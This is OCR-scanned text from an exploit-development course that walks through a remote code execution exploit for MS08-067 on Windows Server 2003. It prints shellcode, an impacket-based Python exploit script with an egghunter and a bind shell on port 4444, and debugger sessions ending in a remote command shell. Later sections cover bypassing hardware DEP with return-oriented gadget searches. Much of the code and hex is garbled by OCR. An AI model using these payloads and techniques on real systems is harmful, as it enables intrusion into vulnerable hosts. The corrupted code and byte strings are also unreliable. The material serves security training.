"\xeb\x49\x8b\x34\x8b\x01 \xee\x31 \xc0\x99 \xac\xB84\ xcO\xT4\x07
"\xel\xca\x0d\x01 \xc2\xeb\xf4 \x3b\x54\x24 \x28\x75 \xe5 \xBb\x5£"
"\x24\x01\xeb\xﬁ6\xSbkxac\xéb\xab\xsf\xlc\xol\xeb\x03\xza\x3b"
"\x89\x6c\x24 \x1lc\x61\xc3\x31 \xdb\x64 \x8b\ x4 3\ x30\x8b\ x40\ x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\xBe\xde\x0e\xec\ x50 \xfE£"
"\xdE\x66\x53\x66\x68\x33\x32\x68\xTT\x73\ %32 \x5E\x54 \xF £\ xdO"
"\x68\xcb\xed\xfc\x3b\x50\xf £ \xd6\x5£\x89 \xe5\x66\x81 \xed\x08"
"\xOZ\x55\x6a\x02\xff\xdo\xﬁS\xd9\xG9\xf5\xad\xB?\xff\xdE\x53“
"\x53\x53\x53\x53\x43\x53\x43\x53\xF £\ xd0\x66\x 6B\ x11 \x5c\x66"
"\x53\xBQ\xel\x95\x63\xad\xla\x?ﬁ\xe?\xS?\xff\xds\xsa\xlo\xﬁl“
”\x&S\xff\de\xﬁS\xa4\xad\xza\xeQ\XS?\xff\de\xSB\xSS\xff\de“
“\xSB\x&S\xd9\x86\xé§§x57\xff\xd6\x$0\354\x54\355\xff\xd0\893“
"\x68\xe7\x79\xc6\x7 9\ x57 \nLE\xd6\x55\xFE\xdA0\ %66\ x6a\ %64\ 66"
"AxBEB\xB63\x6d\x89\xe5\x6a\x50\x59\x29 \xcc\xBI\xaT \x6a\xd4\xBO"
"\xe2\x31\xc0\xf3\xaa\xfa\x42\x2d\xfa\x42\x2c\ x93\ x84\ x7a \ k38"
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xfE\x75\ k44 \uf F\xd6\x5b\x57"
”\xﬁz\x51\x51kx51\x6a\x01\x51\x51\x55\x51\xff\xdﬂ\xﬁs\xad\xdg"
“\x@B\xQe\xSB\xff\xd&\xﬁa\xff\xff\xi?\xff\xdo\xab\xﬁ?\xfc\x83"
“\xc4\x6§\xff\xdé\x5Z\xff\xdo\xﬁs\xef\xce\xeﬂ\xSO\xSB\xff\xdG"
AR EE\xdO" )
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stub= "\x01\x00\z00\x00"'

=33 stub+=1\xac\x004%00\x00"

stub+="\x00\x00\x00\x00"

# Reference ID
# Max Count

stubt="\xac\x00\x00\x00’ # Actual count
# Server Unc -> Length in Bytes =
# NOP + PATTERN + SHELLCODE (15+8+317)= 340 =>

stub+="'n00bn00b' + *'\x90'*15 + shellcode #
stub+="\x00\x00\x00\x00" #
stub+="\x2£\x00\x00\x00" #
fstub+='\xOO\xDO\xOO\xDO' #
stub+="\x2 F\x00\x00\x00" #
stub+="'\x41\x00\x5c\x00\x2e\x00\x2e\x00" #
stub+="\xz5c\xz00\x2e\x00\x2e\x00\x5¢\x00 "
stub+="\x41'*18 #
stub+="'\xb0\xBa\x80\x7c"' i

# offset to short jump is 44 bytes => 12 nop +
stub+="\x20'*12# Nop sled 12 Bytes

# EGGHUNTER 32 Bytes

egghunter ='\x33\xD2\x90\x90\x90\x42\x52\x6a"
egghunter+='\x02\x58 \xed\x2e\x3c\x05\x5a\x74"
egghunter+='\xf4\xb8\x6e\x30\x30\x62\x8b\=fa’
egghunter+='\zaf\x75\xea\xaf\x75\xe7\xff\xe?"’
stub+= egghunter
stub+="' \xEB\xD0\x90\x90"
stub+="\x44\x44\x44\=44"
stub+="'\x00\=z00"

o= gk

print "Piring payload..."
dee.call (Ox1f, stub)
print "Done! Check shell on port 4444"

Final Exploit Source Code

{Max Count*2)

#t Cffset 1

Max Count = 172 (Oxac)
Sarver Unc
UNC Trailer Padding
Max Count
Offset
Bctual Count
PATH BOOM

# PATH BOOM
Padding
Tc808ab0 JMP EDX (ffeZ)

32 egghunter

short jump back ¢

Padding 'bvbb

stub+="\x00\x00\x00\x00" # Padding
stub+="'\x02\x00\x00\x00" # Max Buf
stub+="'\x02\=x00\z00\=x00" # Max Count
stub+="\x00\=200\x00\x00"' # Offset
stub+="'\z02\x00\z00\x00"' # Actual Count
stub+="\xz5c\x00\x00\=00" # Prefix
stub+="\x01\x00\x00\x00"* # Pointer to pathtype
stub+="\x01\x00\x00\%00" #

Path type and flags.

#0x1f (or 31)- NetPathCanonicalize Operation
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In the final exploit there are only few things we need to change:

*  We calculated Max/Actual Count value => stu b+="\xac\x00\x00\x00";

( NOP + PATTERN + SHELLCODE (15+8+317)= 340 => Max/Actual Count = 172(0xac) );
* We added the short jump back => stub+="\xEB\xD0\x90\x90' calculated befo re;
* We replace fake shellcode with a Metasploit bind shell on port 4444,

Once again, let's set a breakpoint on JMP EDX and run the final exploit; we will follow each step in
Windbg:

Setting a break point on JMP EDX:
0:067> bp 7c808ab0
0:067> bl

0 e 7¢808ab0 0001 (0001} Qix**x ntdll !Rt]l1FormatMessageEx+0x132
Q:067> g

Running the exploit:
root@bt # ./MSOSOGT_EXPLOIT.py 172.16.30.2

***********k***tt*******i**#***i**k’ﬁ*ii—****k***i***k***

Rk Kk ko k ok MS08-67 Win2k3 sp2 hk ok kR Rk kR k
EESFEEx LA offensive-security.com Sl R Lk
LR ryujin&muts o 11/30/2008 R EE K E Lk kK

**ir**#*‘i'?‘r'.'i***)\-i—*t***!‘*ikﬁ**i—*‘****i*******i***\E*i*i-ir*w*
Firing payload...

Breakpoint reached:
Breakpoint 0 hit
€ax=90809090 ebx=012d005¢c ecx=012df4b2 edx=012df508 esi=012dfdb6 edi=012df464

eip=Tc808Bab0 esp=012dfd7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs5=001b  ss5=0023 ds=0023 es=0023 fs=003b ga=0000 efl=00000246
ntdll!RtiFormatMessageEx+0x132:

7cB0Babl ffe2 jmp edx {012d4f508}

Stepping over to land on the short jmp:

0:013> p

€ax=90909090 ebx=012d005¢c ecx=012df4b2 edx=012df508 esi=012dfibe edi=012df464
elp=012df508 esp=012dfd7c ebp=41414141 iopl=0 nv up €i pl zr na pe nc
cs=001b ss5=0023 ds=0023 es=0023 £s5=003b gs=0000 efl=00000246
012df508 ebd0 jmp 012dfdda

Stepping over to reach eégghunter:

0:013> p

ModLoad: 72060000 72073000 C:\WINDOWS\System32\xactsrv.dll

€ax=90909090 ebx=012d005¢c ecx=012df4b? edx=012df508 esi=012dfibé edi=012dfde64

eip=012dfida esp=012dfiic ebp=41414141 lopl=0 nv up ei pl zr na pe nc
¢cs=001b ss=0023 ds=0023 es=0023 f£==003b gs=0000 efl=00000246
012df4da 90 nop

Seatting a breakpoint on JMP EDTI, called once shellcode pattern is found:
0:013> bp 012df4fc

Let the process running to reach breakpoint:
0:013> g
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ModLoad: 5£8c0000 5£Bc7000 C: \WINDOWS\System32\NETRAP.d411l

Breakpoint on JMP EDI reached:
Breakpoint 1 hit
©ax=6230306e ebx=012d005c ecx=012df478 edx=000blell esi=012dfibé edi=000bdels

eip=012dfdfc esp=012dfd7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
¢s5=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
012df4fc ffe? jmp edi {000bdelB}

Stepping over to land at the beginning of our shellcode:

0:013> p :

eax=6230306e ebx=012d005¢c ecx=012df478 edx=000blell es5i=012df4h§ edi=000b4elB
eip=000bdel8 esp=012df47c ebp=41414141 iopl=0 nv up ei pl 2zr na pe nc
cs=001b ss5=0023 ds=0023 es=0023 f£s=003b gs=0000 e£1=00000246
000bdel8 90 nop

Running shellcode:
0:013> g _
{324.378) : Unknown exception - code 00080649 (first chance)

Getting our shell :)

root@bt # nc 172.16.30.2 4444
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\system32>

Final Exploit Windbg Session

Exercise

1) Repeat the required steps in order to obtain a remote shell on the vulnerable server.

Wrapping u
In this module we have successfully exploited the MS08-067 vulnerability by utilizing an egghunter, and
getting final code execution in a limited buffer space environment. Our work is not done yet though. In

order to successfully exploit this vulnerability in a real world scenario, we will have to overcome a few
more hurdles.
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Module 0x02 Bypassing NX

-
o
b

S &

* Understanding Hardware Enforced Data Execution Prevention
* Exploiting the MS08-067 vulnerability bypassing hardware-enforced DEP

A note from the authors

When we started to work on MS08-067 our objective was to obtain a working exploit on the Windows

2003 SP2 platform with Hardware DEP enabled. After a bit of research, we found the following comment
in the Metasploit ms08_067_netapi exploit:

“There are only two possible ways to return to NtSetinformationProcess on Windows 2003 SP2, both of
these are inside NTDLL.DLL and use a return method that is not directly compatible with our call stack. To
solve this, Brett Moore figured out a multi-step return call chain that eventually leads to the NX bypass

function.” Please note that the method described in this module is different than the one Brett Moore
used.
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Overview

With the advent of Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1, a new security

feature was introduced to prevent code execution from a non-executable memory region: DEP (Data
Execution Prevention).

DEP is capable of functioning in two modes:

L ]

hardware-enforced for CPUs that are able to mark memory pages as non-executable;

* software-enforced for CPUs that do not have hardware support.

Software-enforced DEP protects the operating system from SEH overwrite attacks®. (Bypassing software
DEP is not covered in this module.)

In this module we will improve the exploit for the MS08-067 vulnerability, coded in Module 0x01, on
Windows 2003 SP2 with hardware-enforced DEP enabled.

Hardware-enforcement and the NX bit

On compatible CPUs, hardware-enforced DEP enables the non-executable bit (NX) that separates
between code and data areas in system memory. An operating system supporting NX bit, could mark
certain areas of memory as non-executable, so that CPU will then refuse to execute any code residing in
these areas of memory. This technique, known as executable space protection, can be used to prevent
malware from injecting their code into another program’s data storage area, and later running their own

code from within this section. Please take the time to read [7] and [8] to get familiar with the hardware-
enforced DEP concept.

G”Preventing the Exploitation of SEH Overwrites" (skape 09/2006)

http://www.uninformed.org/?v=5&a=2&t=pdf

?http:/'/en.wikipedia.org/wiki;’Data Execution Prevention

8h'rtp:z'{en.wikinedia.curg{,f\avild,’N)( bit
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irdaware-enforced DEP bypassing theorv PART |

In some instances, hardware-enforced DEP (from now we will refer to Hardware-enforced DEP as DEP)
can unexpectedly prevent legitimate software from executing due to particular application compatibility
issues. Microsoft, realizing this problem, designed DEP so that it could be possible to configure it at

different levels. At a global level, the operating system can be configured through the /NoExecute
option in boot.ini to run in:

1. Optin mode: DEP enabled only for system processes and custom defined applications;

2. OptOut mode: DEP enabled for everything except for applications that are specifically exempt;

3. AlwaysOn mode: DEP permanently enabled

4. AlwaysOff mode: DEP permanently disabled

A more interesting aspect is the fact that DEP can also be enabled or disabled on a per-process basis at
execution time. The routine that implements this feature, called LdrpCheckNXCompatibility, resides in
ntdll.dll and performs a few different checks to determine whether or not NX support should be enabled
for the process. As a result of these checks, a call to the procedure NtSetInformationProcess (within
ntdll) is issued to enable or disable NX for the running process. Analyzing the NtSetinformationProcess
prototype we can see that the procedure takes four input parameters:

#define MEM EXECUTE OPTION DISABLE  0x01
fdefine MEM EXECUTE OPTION ENABLE 0x02
#define MEM EXECUTE OPTION PERMANENT 0x08

ULONG ExecuteFlags = MEM EXECUTE OPTION ENABLE;

NtSetInformationProcess |

NtCurrentProcess(}, // PROCESS HANDLE = -1
ProcesskxecuteFlags, // PROCESSINFOCLASS = 0x22
{ExecuteFlags, // Pointer to MEM EXECUTE OPTION ENABLE

sizeof (ExecuteFlags)}; // Size of the pointer ExecuteFlags = 0x4

NtSetinformationProcess Prototype
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The most interesting parameter to us is the pointer to the MEM_EXECUTE_OPTION_ENABLE flag, which
tells the NtSetinformationProcess function to disable the NX feature for the running process.

Now, let's consider the case of an NX enabled process that is being exploited: if an attacker had the
possibility to call the NtSetinformationProcess procedure while passing the correct parameters and
running code only from memory regions that are already executable, he would then be able to execute
his shellcode from memory regions previously marked as non-executable (stack or heap).

Please take time to deeply study the "Bypassing Windows Hardware-enforced Data Execution
Prevention" paper’ which will be the base for the following module.

9“Bypassing Windows Hardware-enforced Data Execution Prevention”, skape and Skywing 10/2005,

http://uninformed.org/?v=28&a=4
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rdware-enforced DEP bypassing theory PART Il

Skape and Skywing illustrate a general approach which outlines a feasible method to circumvent
hardware-enforced DEP in the default installations of Windows XP Service Pack 2 and Windows 2003
Server Service Pack 1, taking advantage of code that already exists within ntdl.

Let’s focus on the three main key points in their theory:

1. Setting up the MEM_EXECUTE_OPTION_ENABLE flag somewhere in memory to be passed to
ntdll!ZwSetinformationProcess (see code below at address 0x7¢935d6f in
ntdll!LdrpCheckNXCompatibility );

2. Calling ntdll!LdrpCheckNXCompatibility+0x4d using our owned return address as a trampoline;

3. Having the stack frame setup so that the "ret 0x4" instruction in ntdll!/LdrpCheckNXCompatibility will
return in to our controlled buffer (see code below at address 0x7c91d443 in
ntdll!LdrpCheckNXCompatibility).

{ LdrpCheckNXCompatibility Windows XP Service Pack 2 }

ntdll!LdrpCheckNXCompatibility+0x4d:

7c935d6d pal4 push Ox4d

7c935def Bddhfc lea eax, [ebp-0x4]

T¢935d72 50 push eax

7c235d73 gaz22 push 0x22

7c935d75 baff push Oxff

Te8935d77 eBbhl1BBFfAEf call ntdll!ZwSetInformationProcess
Tc935d7¢c e9cl76feff jmp ntdll!LdrpCheckNXCompatibility+0x5c
ntdll!IdrpCheckNXCompatibility+0x5c:

7c91d441 5e pop esi

7¢91d442 c9 leave

Tc91d443 20400 ret Ox4

| LdrpCheckNXCompatibility Function

Point number 1 is accomplished by Skape and Skywing by returning into specific chunks of code within
ntdll:

The ES/ register is initialized to hold the value 0x2 (MEM_EXECUTE_OPTION_ENABLE) and then copied to
the address pointed by register [EBP-4]. At this point, the four parameters are pushed on the stack
ntdll!ZwSetinformationProcess is called and NX is disabled for the running process.

’
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raware-eniorced DEP on Windows 2003 Server SP?

Because our intent is to bypass DEP on Windows 2003 Server SP2, let’s compare its
ntdll!LdrpCheckNXCompatibility procedure to the one present in Windows XP Service Pack 2.

{ LdrpCheckNXCompatibility Windows 2003 Server Service Pack 2 }

7C83F517 C745 FC 02000000 MOV DWORD PTR SS:[EBP-4],2 ¢

7TCB3F51R 6A 04 PUSH 4

TC83F520  8D45 FC LEA EARX,DWORD PTR §S: [EBP-4]
7C83F523 50 PUSH EBRX .

TCB3F524 64 22 PUSH 22

TCB3F526 AR FE BUSH —1

TC83F528 EB 12B5FEFF CALL ntdll.ZwSetInformationProcess

{ LdrpCheckNXCompatibility Windows XP Service Pack 2 }

‘7C935D68 “ES BOTEFEFF JMP ntdll.7c91D41D

TCS35D6D 6A 04 PUSH 4

7C935D6F  8D45 FC LEA ERX,DWORD PTR SS: [EBP-4]
7C935D72° 50 PUSH EBRX

7C935D73 &R 22 PUSH 22

7C935D75  6A FF PUSH ~1

7C935D77  E8 B1BSFDFFR CALL ntdll.ZwSetInformationProcess

LdrpCheckNXCompatibility Function

We are focusing on the part of the routine which is responsible to call the

ntdll!ZwSetinformationProcess function. If you check the first line of both code chunks, you will notice a
very interesting difference:

In Windows 2003 SP2, before pushing the value 0x4 on to the stack, we have a “MOV DWORD PTR
$5:[EBP-4],2” which is exactly what we need to setup the MEM_EXECUTE_OPTION_ENABLE flag in
memory! So things could get easier here, in fact if we don’t need to care about
MEM_EXECUTE_OPTION_ENABLE flag we’d “only” have to worry about setting up the stack frame to be
able to return to our controlled buffer.
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tudy ;i?w%§§§§§ NA proifection

For more details about the MS08-067 vulnerability please refer to Module 0x01. The first thing we have
to do is test that a “normal” exploit will actually fail against our Windows 2003 SP2 NX box. We can start

by using the following stub exploit taken from Module 0x01:

#!/usr/bin/python
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys
prlnt “*******ir't'ttt‘k****i*l’********i—**‘k***\‘r******&ww********w*“
print MEaseteLeeR ME08-67 Win2k3 sSP2

offensive-security.com
ryujin&muts ——— 11/30/2008
print "!\'_****1«****'\ki’k*’t****i*****************k***********itk**t"
try;:

target = sys.argvil]

port = 445
except IndexFrror:

print "Usage: %s HOST" % sys.argv[0]

sys.exit ()

trans = transport.DCERPCTransportFactory('ncacn np:$s[\\pipe\\browser]'starget)
trans.connect ()
dce = trans.DCERPC class(trans)
dce.bind{uuid.uuidtup_to_bin((‘4b324ch-l670—01d3—1278—5aqufﬁeelaﬂ', LT
stub= '\z01\x00\x00\x00" # Reference 1D

khkhkdr kN
print Mk khhhhhkd khkhkrkhkhkkxin

p.‘fint Mg o g g ek e ke e e ek Y

stub+='\z10\x00\x00\=00" # Max Count
stub+="\=x00\z00\x00\%00" # Offset
stub+="\x10\x00\x00\x00" # Bctual count
stub+="%x43'*28 # Server Unc
stub+="\x00\x00\x00\x00" # UNC Trailer Padding
stub+="\x2{\x00\=00\=z00" # Max Count
stub+="\x00\x00\x00\x00" # Offset

stub+="\x2f\x00\x00\=00"

£

Actual Count

stub+='\z41\x00\x5c\x00\x2e\x00\x2e\200\x5c\x00\x2e\x00\x2e\x00\x5c\x00" #PATH

stub+="'\x41"'*18 # Padding
stub+="\xb0\x8a\x80\x7c" # 7c808ab0 JMP EDX (ffe2)
stub+="%xCC'*44 # Fake Shellicode
stub+="'\xEBR\xD0\x50\x90" # short jump back
stub+="\xd44\xd44\x44\ 44" # Padding
stub+="\x00\x00"

stub+="\x00\x00\xz00\x00" # Padding
stub+="\x02\x00\=z00\x00" # Max Buf
stub+="\x02\x00\x00\x00" # Max Count
stub+="4x200\x00\=00\x00" # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="'\x5c\x00\x00\x00" # Prefix
stub+="\xz01\x00\=x00\=00" # Pointer to pathtype
stub+="\xz01\x00\=x00\=00" # Path type and flags.

print "Firing payioad..."
dece.call (Oxl1f, stub) #0x1f (or 31}- NetPathCancnicalize Operation

MS08-067 fake shellcode exploit
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As seen in Module 0x01, you should focus on:

stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5¢c\x00\x2e\x00\x2e \x00 \x5¢\x00', this is the
evil path which triggers the overflow;

*  stub+="\xEB\xD0\x90\x90', this is the short jump which should be executed breaking the
execution flow (this jump will lead to the beginning of the egghunter in the final exploit);

*  stub+="\x41'*18, this is the offset needed to overwrite the return address;

*  stub+="\xb0\x8a\x80\x7c', this is our own return address, an address in memory (ntdll)
containing a JMP EDX opcode.

Now, let’s fire Windbg, attach the svchost.exe process responsible for the Server Service and set a
breakpoint on the jmp edx address:

0:041> bp 7cB808ab0

0:041> bl

0 e 7cB808ab0 O0GL (000L) Dexxsxx ntdll {RtlFormatMessageEx+0x132
g:041> g '

root@bt # ./NX STUB Oxl.py 10.150.0.194

'i‘(t9(****'k*'**************k****'k****I‘**********\E**********

EhkkkAh Ak MSOB_E’]’ W1n2k3 SpEZ kkxkkFThkEkEx
BAREB SR ES S offensive-security.com W A
T R ryujinemuts --- 11/30/:2008 Ekk kR Rk kk ok

******iitt*‘lr#k*twt*****tt*******t***_*i*t******ii—*t**x**

Firing payload...

Breakpoint 0 hit

eax=cccoccee ebx=016f005c ecx=016ff4b2 edx=016££508 esi=016ff4b6 edi=016EF464
eip=T7cB808ab0 esp=016ffd7c ebp=41414141 iopl=0 nv up ei pl zZr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
ntdll!RtlFormatMessageEx+0x132: :

7c808ab0 ffe2 jmp edx {<Unloaded T.DLI>+0x16f£507 (016ff508)}
0:020> dd edx :

016££508 9090d0eb 44444444 00000000 00000000

0:020> p

eax=ccccecce ebx=016£005¢c ecx=016£fdb2 edx=016£f508 esi=016£fibé edi=0iG6Efa64
eip=016£f508 esp=016ffdT7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b s5=0023 ds=0023 es=0023 £s=003b gs=0000 efl=00000246
<Unloaded T.DLL>+0x16££507:

016££508 ebd0 Jmp <Unloaded T.DLL>+0x16ff4d9 (016ff4dda)

0:020> p

(aaB.b%8) : Access viclation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=ccceccee ebx=016£005¢c ecx=0D16ffdb2 edx=016ff508 esi=016ff4b6 edi=0i6ffa64

eip=016f£f508 esp=016£ffd7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 efi=00010246
<Unloaded T.DLL>+0x16££507:

016££508 ebd0 Jmp <Unloaded T.DLL>+0x16ff4d9 (016ffdda)

Windbg Session, testing NX
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The EDX register points to a short jump, so let's try to step over and see if our jump instruction is going

to be executed:

&1 pid 2728 - WinDbg:6.11.0001.404 X86
File Edit View Debug Wndow Help

@ B LA PRy N DEPEOREOOD =0

ce=001b =ss=0023 d==0023 es=0023 fs=003b g==0000 ef1=00000246
<Unloaded T DLL:+0x16££507

016££508 ebdo IRp <Unloaded T DLL:+0x16£f£4d9 (016ffdda)

0-020:

{2a2 b38). Access violation - code cf000005 (first chance)

First chance exceptions are reported before any exception handling

This exception may be expected and handled.

sax=cccotccoe ebx=016£0050 ecx=016ff4b2 edz=016ff508 esi=016ff4bt edi=016f{464

21p=016f{508 esp=016ffd47c ebp=41414141 1opl=0 nv up ei pl zr na pe nc
c5=2001b =s5=0023 d==0023 es=0023 f=s=003b qg==0000 ef1=00010246
<Unloaded T.DLL>+0x16££507

016££508 ebdDd b Vsl <Unloaded _T.DLL>+0x16££4d9 (016£f4da)

4 ]

0:0203

N

Cffset: 3@35{:01:»&1';-

D16ffd4fe shdl mp <Unloaded T DLL>+0x16ff4cf (D16ff4d05
D16££500 390 nop

016££501 90 nop

01eff502 44 inc esp

O1Rf£503 44 ine esp

O1eff504 44 inc esp

O0leff505 44 inc Esn

Oleff506 0000 eax] al

101 i DII>+0x16f£4d9 (016ffdda
BleffS0a 20 nop

016££50b 90 nop

016ff50c 44 inc EED

O16££50d 44 inc esp

D16f£50e 44 ing esp

DIef£50f 44 inc esp

Figure 13: Short Jump can't be executed because of the NX protection

ESI 6
EDI 8124F46

EIP 81249FS
L =1

[20:56:43] Access violation when executing (01 24F508] - use ShiftsF7/FB/F to pass exception to program

e S
—

Figure 14: ID clearly shows an access violetion while executing an instruction on the stack T

As expected, because our code resides on the stack and NX is enabled, the CPU refuses to execute it!
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EXETCISt

1) Repeat the required steps in order to test that a “normal” exploit won’t work on the NX enabled
server.
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The first step toward disabling NX, is calling the chunk of code located at LdrpCheckNXCompatibility+N

bytes from our owned return address, and inspecting the stack frame. Let’s check for the entry point we
need in ntdll, searching for the following opcodes: )‘-
(s g

C745 FC 02000000 MOV DWORD PTR SS: [EBP-4],2 5(‘rc ~
6A 04 PUSH 4
8D45 FC LEA EAX DWORD PTR SS:[EBP-4]
50 PUSH EAX
6A 22 PUSH 22
6A FF PUSH -1
‘-ﬂ

0:017> !dlls -¢ ntdll
Dump dll containing 0x7¢B800000:
0x00081£08: C:\WINDOWS\system32\ntdll.dll
Base 0x7c800000 EntryPoint 0xCO000000 Size 020000000

Flags OxB0004004 LoadCount Ox0000ffff TlsIndex 0=06000000
LDRP TMAGE DLL

LDRP_ENTRY PROCESSED

0:017> s 0x7cB00000 Lec0000 c7 45 £c 02 00 00 00 6a 04 Bd 45 fc 50 6a 22 6a f£f

7cB83f517 c7 45 fco 02 GO 00 00 62-04 Bd 45 fec 50 6a 22 6a .E..... 8 T B
0:017> u 7cB3£517

ntdll ! LdrpCheckNXCompatibility+0x2b:

7c83f517 c745£c02000000 mov dword ptr [ebp-4],2

7c83f5le 6a04 push 4

7cB3£520 Bd45fc lea eax, [ebp-4]

7c83£523 50 push eax

7c83£524 6a22 push 22h

7c83f526 6Gaff push OFFFFFFFFh

7cB3£528 eB8l285feff call ntdll!NtSetInformationProcess (7c827a3f)
7c83£52d e9abdeffff jmp ntdll!LdrpCheckNXCompatibility+0x5a (7cB8343d47)

Searching for LdrpCheckNXCompatibility entry point

Now that we have our address, we can modify the stub exploit and launch it, remembering to set up a
breakpoint on it. As you can see below, all we need to change in NX_STUB_0x2.py is the return address:

[==i]

stub+="'\x41'*18 # Padding

stub+="\x17\xf5\x83\x7c' # Ox7cB3f517 mov dword ptr [ebp-4],2
stub+='\xCC' %52 # Fake Shellcode

s |

NX_STUB_0x2 Source Code

And then follow the new session in WinDbg:

0:017> bp 7c83£517

0:017> bl
0 e TcB3£517 000 (0001} Daxxkk ntdll!LdrpCheckNXCompatibility+0x2b
0:017> g
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root@bt #./NXLSTUB_OxZ.py 10.150.0.194

i:*\!:**'ir*iriri(\k'.w***************!‘i*********tt‘(*k***ii'\k******

(A 2 &2 S MSOS_E'}‘ Wlﬂ2k3 sz FhRE hkk Rk k
b o offensive-security.com AR Bk
TEEE ERA ryujinsmuts --~ 11/30/2008 e Sy

kt***t\l’******t**********r***t************************'ﬂr*

Firing payload...

Breakpoint 0 hit

gdx=cocccccee ebx=00d4005¢c ecx=00d4fdb2 edzx=00d4£508 esi=00d4fib6 edi=00d4£464

eip=7¢83f517 esp=00d4fdTc ebp=41414141 iopli=0 nv up ei pl zr na pe nc

cs=001b 88=0023 ds=0023 es=0023 £s5=003b gs=0000 ef1=00000246

ntdll!LdrpCheckNXCompatibility+0x2b:

Tc831£517 c745£¢02000000 mov dword ptr [ebp-4],2 ss5:0023:4141413d=222227722

ESI ->00d4f4b6 2e 00 2e 00 5c 00 41 41 41 41 41 41 41 41 41 41 ... .\.AAAAAAAAAA
00d4f4cé 41 41 41 41 41 41 41 41 17 £5 83 Tc ec cc co cc AAAAARMRAA...|....

EDI ->00d4f464 5c 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 \ . AAAAAAAAAAAAAR
00d4£474 41 41 41 41 17 £5 83 7c cc cc cc ec ce co e 00 TR R G
EDX ->00d4£508 cc cc cc cc cc cc cc cc 00 00 00 00 00 00 00 00
00d4£518 00 00 00 00 00 0O 0O 00 00 00 00 00 00 00 00 00

ECX ->00d4f4b2 Oa 00 5c 00 2e 00 2e 00 5c 00 41 41 41 41 41 41 S \.AARAAR
00d4fd4c2 41 41 41 41 41 41 41 41 41 41 41 41 17 £5 83 7c RAARAAAAARARR.

ESP ->00d4f47c cc ec cc cc cec cc cc cc cc ce ce cc ce ce cc cc
00d4f4Bc cc cc ce cc cc cc cc ce oc cc ce ee co oo ec co

Setting Breakpoint on new RET / NX STUB 0x2 session

The breakpoint has been hit and from the registers' status we can make the following considerations:

The EBP register is completely overwritten, but we need it to point to a valid stack address under
our control for two reasons:

1. The “mov dword ptr [ebp-4],2” opcode located at LdrpCheckNXCompatibility+0x2b,
needs a valid address to set the MEM_EXECUTE_OPTION_ENABLE flag on the stack;

2. The LdrpCheckNXCompatibility epilogue (leave, ret Ox4) will restore the stack and
registers back to the state they were in, before the function was called™® and if £8P

doesn’t point to a controllable stack address, we won't be able to regain code execution
once NX is disabled.

1Ohttp:f,:’e-.n.wikipedia'.org/’\m’ikJ’;’Functimn prologue
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We can use one of the other 32bit registers to make EBP point to a valid stack address, exploiting an
opcode sequence located in an executable part of the memory, for example:

mov ebp, r32
retn
where r32is a cpu 32 bit register (other opcodes may obtain the same result).

The EDI register looks like a good candidate because it points just 2 bytes before the beginning of
our buffer (5c 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41).
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idy: Memory Sy

The Metasploit Framework provides a useful tool for profiling running processes in memory called
memdump.exe. Memdump.exe is used to dump the entire memory space of a running process and, its
use, combined with msfpescan may result in a really powerful “return address search engine”!

Let’s dump the entire memory space of svchost.exe responsible for the Server Service (you can check its
pid using the Windbg Attach Function, or “Process Explorer” from sysinternals?).

C:\Documents and Settings\Administrator\Deaktqp>memdqu.exa
Usage: memdump.exe pid [dump directory]

C: \Documents and Settings\Administrator\Desktop>memdump.exe 796 svchost dump
[*] Creating dump directory...svchost_dump

{*] Attaching to 796...

{*] Dumping segments...

[*] Dump completed successfully, 76 segments.

C:\Documents and Settings\Administrator\Desktop>

Memdump in action

Once we have copied the svchost_dump directory to BackTrack, we can start using msfpescan. Let's take
a look at its options:

root@bt # ./msfpescan
Usage: ./msfpescan [mode] <options> {targets]

Modes:
=J. ——Jjump [regh,regB, regCl] Search for jump egquivalent instructions
“Fr ~—TPoppopret Search for pop+tpop+ret combinations
~r, --regex [regex] Search for regex match

-4, --analyze-address [address] Display the code at the specified address
-b, --analyze-offset [offset] Display the code at the specified offset

-f, --fingerprint Attempt to identify the packer/compiler
=1, eifife Display detailed information about the image
-R, --ripper [directory] Rip all module rescurces to disk

——context-map [directory] Generate context-map files

Options:
-M, --memdump The targets are memdump.exe directories
-A, --after [bytes] Number of bytes to show after match (-a/-b)
-B, --before [bytes] Mumber of bytes to show before match (-a/-b)
-b, --disasm Disassemble the bytes at this address
-1, --image-base [address] Specify an alternate ImageBase
—h, ==help Show this message

Msfpescan in action

Hhttp:/;’technet.microsoft.com}en-usfsvsinternals/bb896653‘aspx
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“r” and ““M” are the options we are looking for, but first, we must discover what opcodes we are
searching for. We can accomplish this task using another Metasploit utility: nasm_shell.

root@bt ~/framework-3.2 # tools/nasm shell.rb
nasm > mov ebp, edi

00000000 B89FD mov ebp,edi
nasm > retn

00000000 c3 ret

nasm > retn Ox4

00000000 C20400 ret Ox4
nasm > retn 0Ox8

00000000 C20800 ret Ox8
nasm >

root@bt # msfpescan -r "\xB9\xFD\xc3" -M /tmp/svchost dump/ | grep Ox
Ox7640%992 BYfdel

rootlbt # msfpescan -r "\x89\xFD\xc2\x04" -M /tmp/svchost dump/ | grep Ox
root@bt # msfpescan -r "\x89\xFD\xc2\x08" -M /tmp/svchost dump/ | grep Ox

Msfpescan in action

We found one match! Let’s check with Windbg if the selected address resides in a memory page marked
as executable:

0:049> laddress 0x76409e92
76300000 : 76392000 - 00122000
Type 01000000 MEM IMAGE
Protaect 00000002 PAGE READONLY
State 00001000 MEM COMMIT
Usage RegionUsagelmage
FullPath c:\windows\system32\netshell.dll

Checking Protection on Address Memory Page

